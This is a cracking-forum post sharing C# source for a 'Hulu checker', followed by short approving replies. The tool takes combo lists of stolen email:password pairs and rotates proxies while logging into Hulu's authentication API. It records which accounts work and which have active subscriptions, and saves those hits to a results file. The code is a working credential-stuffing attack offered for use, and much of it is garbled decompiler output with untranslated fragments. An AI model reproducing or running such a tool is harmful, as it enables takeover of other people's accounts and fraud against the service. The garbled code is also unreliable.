[SOURCECODE] HULU CHECKER SOURCE C#

Step Into The Dark

The shadows are waiting. Register now to unlock restricted discussions, share hidden secrets, and whisper in the dark with our elite circle.

Join The Underground

shycrackzz

Member
Joined
May 5, 2018
Messages
521
PLEASE LEAVE A LIKE IF YOU APPRECIATE MY WORK

LEECHERS ARE BAD AND GET BANNED

DOWNLOAD: 


[hide]
Code:
using Microsoft.VisualBasic.CompilerServices;
using System.IO;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Threading;
using xNet;
using System.Text.RegularExpressions;
public class Form1 {
    
    public string str;
    
    private bool dragging;
    
    private Point offset;
    
    private string run_status;
    
    private string date1;
    
    public int ComboListLength;
    
    public int ProxyListLength;
    
    public int GoodCount;
    
    public int ErrorCount;
    
    public int int_4;
    
    public int TestedCount;
    
    public int AccountsRemaining;
    
    public int int_7;
    
    public object object_0;
    
    private Point poComboListLength;
    
    public ProxyType proxyType_0;
    
    public Queue queue_0;
    
    public Random random_0;
    
    private List<string> ComboList;
    
    private List<string> ProxyList;
    
    public string[] string_2;
    
    public string[] string_3;
    
    private string string_5;
    
    public Thread[] thread_0;
    
    public string pass;
    
    public string user;
    
    private string testfile;
    
    private bool bool_6;
    
    private int int_6;
    
    public Form1() {
        this.object_0 = RuntimeHelpers.GetObjectValue(new object());
        this.random_0 = new Random();
        object Me.string_2;
        object Me.string_3;
        this.string_5 = "";
        string startupPath = Application.StartupPath;
        DateTime now = DateTime.Now;
        this.testfile = string.Concat(startupPath, "\\Results\\Good_", now.ToString("M-d-yyyy_h-m"), ".txt");
        this.InitializeComponent();
        Control.CheckForIllegalCrossThreadCalls = false;
        this.text_proxyType.SelectedIndex = 0;
        this.ComboList = new List<string>();
        this.ProxyList = new List<string>();
    }
    
    public void AutoSaveHits() {
        IEnumerator enumerator = null;
        Using;
        ((System.IO.StreamWriter)(streamWriter)) = new System.IO.StreamWriter(this.testfile);
        try {
            enumerator = this.ListView1.Items.GetEnumerator();
            while (enumerator.MoveNext()) {
                ListViewItem current;
                enumerator.Current;
                ListViewItem;
                streamWriter.WriteLine(string.Concat(new string[] {
                                current.Text,
                                ":",
                                current.SubItems(1).Text,
                                "|Subscription:",
                                current.SubItems(2).Text}));
            }
            
        }
        
        streamWriter.Close();
    }
}
Subpublic delegate void VBAnonymousDelegate_0();
Endclass Unknown {
}

    
    [DllImport("urlmon.dll", CharSet=CharSet.Ansi, ExactSpelling=true, SetLastError=true)]
    private static int CoInternetSetFeatureEnabled(int int_8, int int_9, bool bool_0) {
    }
    
    private void Label2_Click(object sender, EventArgs e) {
    }
    
    private void Label3_Click(object sender, EventArgs e) {
        WindowState = FormWindowState.Minimized;
    }
    
    private void Form1_FormClosed(object sender, FormClosedEventArgs e) {
        Application.Exit();
    }
    
    private void Panel1_MouseDown(object sender, MouseEventArgs e) {
        if ((e.Button == System.Windows.Forms.MouseButtons.Left)) {
            this.bool_6 = true;
            this.int_6 = (Control.MousePosition.X - this.Location.X);
            this.int_7 = (Control.MousePosition.Y - this.Location.Y);
        }
        
    }
    
    private void Panel1_MouseMove(object sender, MouseEventArgs e) {
        if (this.bool_6) {
            int x = (Control.MousePosition.X - this.int_6);
            Point mousePosition = Control.MousePosition;
            Point point = new Point(x, (mousePosition.Y - this.int_7));
            this.Location = point;
        }
        
    }
    
    private void Panel1_MouseUp(object sender, MouseEventArgs e) {
        this.bool_6 = false;
    }
    
    [DllImport("Gdi32.dll", CharSet=CharSet.Ansi, ExactSpelling=true, SetLastError=true)]
    private static IntPtr CreateRoundRectRgn(int int_8, int int_9, int ProxyListLength0, int ProxyListLength1, int ProxyListLength2, int ProxyListLength3) {
    }
    
    public string GenerateRandomString(ref int iLength) {
        System.Random random = new System.Random();
        char[] charArray = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLOMNOPQRSTUVWXYZ0123456789".ToCharArray();
        string str = "";
        int num = (iLength - 1);
        int num1 = 0;
        for (
        ; (num1 <= num); 
        ) {
            str = string.Concat(str, Conversions.ToString(charArray[random.Next(0, int.Parse(charArray.Length))]));
            num1 = (num1 + 1);
        }
        
        return str;
    }
    
    private void Button1_Click(object sender, EventArgs e) {
        List<string> enumerator;
        (// TODO: Warning!!!! NULL EXPRESSION DETECTED...
         + Enumerator[]);
        this.ComboList.Clear();
        System.Windows.Forms.OpenFileDialog openFileDialog = new System.Windows.Forms.OpenFileDialog();
        // With...
        RestoreDirectory = true;
        Multiselect = false;
        Filter = "Combo List (*.txt)|*.txt";
        FilterIndex = 1;
        openFileDialog.ShowDialog();
        if ((Operators.CompareString(openFileDialog.FileName, null, false) > 0)) {
            List<string> strs = new List<string>();
            Using;
            ((System.IO.StreamReader)(streamReader)) = new System.IO.StreamReader(openFileDialog.FileName);
            while ((streamReader.Peek() != -1)) {
                strs.Add(streamReader.ReadLine());
            }
            
        }
        
        try {
            enumerator = strs.GetEnumerator();
            while (enumerator.MoveNext()) {
                string current = enumerator.Current;
                try {
                    this.ComboList.Add(current);
                }
                catch (System.Exception exception) {
                }
                
            }
            
        }
        finally {
            enumerator;
            IDisposable;
            Dispose();
        }
        
        this.ComboListLength = this.ComboList.Count;
        this.AccountsRemaining = this.ComboListLength;
        this.ComboCountLabel.Text = this.ComboListLength.ToString();
        this.TestedCount = 0;
    }
    
    private void Button4_Click(object sender, EventArgs e) {
        List<string> enumerator;
        (// TODO: Warning!!!! NULL EXPRESSION DETECTED...
         + Enumerator[]);
        this.ProxyList.Clear();
        System.Windows.Forms.OpenFileDialog openFileDialog = new System.Windows.Forms.OpenFileDialog();
        // With...
        RestoreDirectory = true;
        Multiselect = false;
        Filter = "Proxy List (*.txt)|*.txt";
        FilterIndex = 1;
        openFileDialog.ShowDialog();
        if ((Operators.CompareString(openFileDialog.FileName, null, false) > 0)) {
            List<string> strs = new List<string>();
            Using;
            ((System.IO.StreamReader)(streamReader)) = new System.IO.StreamReader(openFileDialog.FileName);
            while ((streamReader.Peek() != -1)) {
                strs.Add(streamReader.ReadLine());
            }
            
        }
        
        try {
            enumerator = strs.GetEnumerator();
            while (enumerator.MoveNext()) {
                string current = enumerator.Current;
                try {
                    this.ProxyList.Add(current);
                }
                catch (System.Exception exception) {
                }
                
            }
            
        }
        finally {
            enumerator;
            IDisposable;
            Dispose();
        }
        
        this.ProxyListLength = this.ProxyList.Count;
        this.ProxyCountLbl.Text = this.ProxyListLength.ToString();
    }
    
    public void method_6() {
        int int4 = (this.int_4 - 1);
        for (int i = 0; (i <= int4); i = (i + 1)) {
            this.thread_0(i) = new Thread(new ThreadStart(new System.EventHandler(this.method_5)));
            this.thread_0(i).IsBackground = true;
            this.thread_0(i).Abort();
        }
        
    }
    
    public static string smethod_0(string string_6, string string_7, string string_8) {
        string value;
        try {
            value = Regex.Match(string_6, (string_7 + ("(.*?)" + string_8))).Groups[1].Value;
        }
        catch (Exception ex) {
        }
        
        return value;
    }
    
    public void method_5() {
        if (string.Equals(this.run_status, "running")) {
            string proxyAddress = this.ProxyList(this.random_0.Next(0, this.ProxyListLength));
            while ((this.queue_0.Count > 0)) {
                object objectValue = RuntimeHelpers.GetObjectValue(this.object_0);
                bool flag = false;
                object objectValue2;
                string text;
                try {
                    object expr_4C = RuntimeHelpers.GetObjectValue(objectValue);
                    objectValue2 = RuntimeHelpers.GetObjectValue(expr_4C);
                    Monitor.Enter(RuntimeHelpers.GetObjectValue(expr_4C), flag);
                    try {
                        text = this.queue_0.Peek().ToString().TrimEnd(new char[] {
                                    "\r"}).Trim();
                        this.queue_0.Dequeue();
                    }
                    catch (Exception expr_94) {
                    }
                    finally {
                        if (flag) {
                            Monitor.Exit(RuntimeHelpers.GetObjectValue(objectValue2));
                        }
                        
                    }
                    
                    string[] array = text.Split(new char[] {
                                ":",
                                c});
                    try {
                        HttpRequest httpRequest = new HttpRequest();
                        httpRequest.Proxy = ProxyClient.Parse(this.proxyType_0, proxyAddress);
                        CookieDictionary cookies = new CookieDictionary(false);
                        httpRequest.Cookies = cookies;
                        httpRequest.IgnoreProtocolErrors = true;
                        httpRequest.ConnectTimeout = 25000;
                        httpRequest.AllowAutoRedirect = true;
                        httpRequest.KeepAlive = true;
                        httpRequest.UserAgent = Http.ChromeUserAgent();
                        Form1.smethod_0(httpRequest.Get("https://www.hulu.com/api/3.0/generate_csrf_value?for_hoth=true&path=/v2/web/password/authenticate", null).ToString(), "data-reactid=\"36\"/><input type=\"hidden\" name=\"authURL\" value=\"", "\" data-reactid");
                        httpRequest.AddParam("csrf", httpRequest.Cookies["_tcv"]);
                        httpRequest.AddParam("user_email", array[0]);
                        httpRequest.AddParam("password", array[1]);
                        if (httpRequest.Post("https://auth.hulu.com/v2/web/password/authenticate").ToString().Contains("{}")) {
                            string text2 = httpRequest.Get(string.Concat(new string[] {
                                            "https://secure.hulu.com/api/3.0/subscriber/account_page_info?_user_pgid=",
                                            httpRequest.Cookies["_hulu_pgid"],
                                            "&_content_pgid=29635&_device_id=1®ion=us&locale=en&language=en&zzuser_id=",
                                            httpRequest.Cookies["_hulu_uid"],
                                            "&zzcb=18110971"}), null).ToString();
                            if (!text2.Contains("has_active_subscription\": true,")) {
                                goto IL_458;
                            }
                            
                            str = "Active Subscription";
                            objectValue = RuntimeHelpers.GetObjectValue(this.object_0);
                            bool flag2 = false;
                            try {
                                object expr_269 = RuntimeHelpers.GetObjectValue(objectValue);
                                objectValue2 = RuntimeHelpers.GetObjectValue(expr_269);
                                Monitor.Enter(RuntimeHelpers.GetObjectValue(expr_269), flag2);
                                array.Resize(Of, String)[this.string_2, (this.GoodCount + 1)];
                                string[] array2 = text.Split(new char[] {
                                            ":",
                                            c});
                                user = array2[0];
                                pass = array2[1];
                                this.ListView1.BeginInvoke(new Form1.VBAnonymousDelegate_0(Sub, (Unknown, Dim, listViewItemAsListViewItem=NewListViewItem(Unknown, listViewItem.Text=user, listViewItem.SubItems.Add(pass), listViewItem.SubItems.Add(str), this.ListView1.Items.Add(listViewItem), End, Sub));
                                this.GoodCount++;
                                this.TestedCount++;
                                this.AccountsRemaining--;
                                this.AutoSaveHits();
                                // TODO: Continue While... Warning!!! not translated
                            }
                            finally {
                                if (flag2) {
                                    Monitor.Exit(RuntimeHelpers.GetObjectValue(objectValue2));
                                }
                                
                            }
                            
                            if (text2.Contains("has_active_subscription\": true,")) {
                                str = "Active Subscription";
                            }
                            else {
                                str = "Free";
                            }
                            
                            objectValue = RuntimeHelpers.GetObjectValue(this.object_0);
                            bool flag3 = false;
                            try {
                                object expr_371 = RuntimeHelpers.GetObjectValue(objectValue);
                                objectValue2 = RuntimeHelpers.GetObjectValue(expr_371);
                                Monitor.Enter(RuntimeHelpers.GetObjectValue(expr_371), flag3);
                                array.Resize(Of, String)[this.string_2, (this.GoodCount + 1)];
                                string[] array3 = text.Split(new char[] {
                                            ":",
                                            c});
                                user = array3[0];
                                pass = array3[1];
                                this.string_2(this.GoodCount) = (text + (" |Subscription = " 
                                            + (str + "\r\n")));
                                this.ListView1.BeginInvoke(new Form1.VBAnonymousDelegate_0(Sub, (Unknown, Dim, listViewItemAsListViewItem=NewListViewItem(Unknown, listViewItem.Text=user, listViewItem.SubItems.Add(pass), listViewItem.SubItems.Add(str), this.ListView1.Items.Add(listViewItem), End, Sub));
                                this.GoodCount++;
                                this.TestedCount++;
                                this.AccountsRemaining--;
                                this.AutoSaveHits();
                                // TODO: Continue While... Warning!!! not translated
                            }
                            finally {
                                if (flag3) {
                                    Monitor.Exit(RuntimeHelpers.GetObjectValue(objectValue2));
                                }
                                
                            }
                            
                        }
                        
                    IL_458:
                        objectValue = RuntimeHelpers.GetObjectValue(this.object_0);
                        bool flag4 = false;
                        try {
                            object expr_46D = RuntimeHelpers.GetObjectValue(objectValue);
                            objectValue2 = RuntimeHelpers.GetObjectValue(expr_46D);
                            Monitor.Enter(RuntimeHelpers.GetObjectValue(expr_46D), flag4);
                            this.ErrorCount++;
                        }
                        finally {
                            if (flag4) {
                                Monitor.Exit(RuntimeHelpers.GetObjectValue(objectValue2));
                            }
                            
                        }
                        
                        this.TestedCount++;
                        this.AccountsRemaining--;
                    }
                    catch (Exception arg_4CF_0) {
                        this.int_7++;
                        this.queue_0.Enqueue(text);
                        proxyAddress = this.ProxyList(this.random_0.Next(0, this.ProxyListLength));
                    }
                    
                }
                
                if ((this.TestedCount == this.ComboListLength)) {
                    this.method_6();
                }
                
            }
            
        }
        
    }
    
    void Button2_Click(object sender, EventArgs e) {
        if ((Operators.CompareString(this.Button2.Text, "S t a r t", false) != 0)) {
            this.run_status = "stopping";
        }
        else {
            try {
                if ((this.ComboListLength == 0)) {
                    
                }
                else if ((this.ProxyListLength != 0)) {
                    if (!Directory.Exists(string.Concat(new string[] {
                                    "Results\\"}))) {
                        Directory.CreateDirectory(string.Concat(new string[] {
                                        "Results\\"}));
                    }
                    
                    this.run_status = "running";
                    this.text_proxyType.Enabled = false;
                    this.TextBox1.Enabled = false;
                    switch (this.text_proxyType.SelectedIndex) {
                        case 0:
                            this.proxyType_0 = ProxyType.Http;
                            break;
                            break;
                        case 1:
                            this.proxyType_0 = ProxyType.Socks4;
                            break;
                            break;
                        case 2:
                            this.proxyType_0 = ProxyType.Socks5;
                            break;
                            break;
                        default:
                            MessageBox.Show("Choose Proxy type");
                            return;
                            break;
                    }
                    this.Timer1.Start();
                    this.GoodCount = 0;
                    this.ErrorCount = 0;
                    this.string_2 = null;
                    this.string_3 = null;
                    this.TestedCount = 0;
                    this.int_7 = 0;
                    this.AccountsRemaining = this.ComboListLength;
                    this.queue_0 = new Queue();
                    int comboListLength = (this.ComboListLength - 1);
                    int num = 0;
                    for (
                    ; (num <= comboListLength); 
                    ) {
                        this.queue_0.Enqueue(this.ComboList(num));
                        num = (num + 1);
                    }
                    
                    this.int_4 = Convert.ToInt32(this.TextBox1.Text);
                    object Me.thread_0;
                    int int4 = (this.int_4 - 1);
                    int num1 = 0;
                    for (
                    ; (num1 <= int4); 
                    ) {
                        this.thread_0(num1) = new Thread(new ThreadStart(new System.EventHandler(this.method_5)));
                        this.thread_0(num1).IsBackground = true;
                        this.thread_0(num1).Start();
                        num1 = (num1 + 1);
                    }
                    
                    this.Timer1.Enabled = true;
                    this.Button2.Text = "S t o p";
                }
                else {
                    
                }
                
            }
            catch (System.Exception exception) {
            }
            
        }
        
    }
    
    private void Timer1_Tick(object sender, EventArgs e) {
        this.HitsCountLabel.Text = this.GoodCount.ToString();
        this.TestCountLabel.Text = this.TestedCount.ToString();
        if ((Operators.CompareString(this.run_status, "stopping", false) == 0)) {
            int int4 = (this.int_4 - 1);
            for (int i = 0; (i <= int4); i = (i + 1)) {
                if (!this.thread_0(i).IsAlive) {
                    this.Button2.Text = "S t a r t";
                    this.text_proxyType.Enabled = true;
                    this.TextBox1.Enabled = true;
                    this.Timer1.Stop();
                    this.run_status = "Idle";
                }
                else {
                    this.thread_0(i).Abort();
                }
                
            }
            
        }
        
    }

[/hide]
 
shycrackzz said:
PLEASE LEAVE A LIKE IF YOU APPRECIATE MY WORK

LEECHERS ARE BAD AND GET BANNED

DOWNLOAD: 

<33333333333333333333
 
gooooooooooooood :fiesta: :fiesta: :fiesta: :fiesta: :fiesta: :fiesta: :fiesta: :fiesta: :fiesta: :fiesta: :fiesta:
 
Back
Top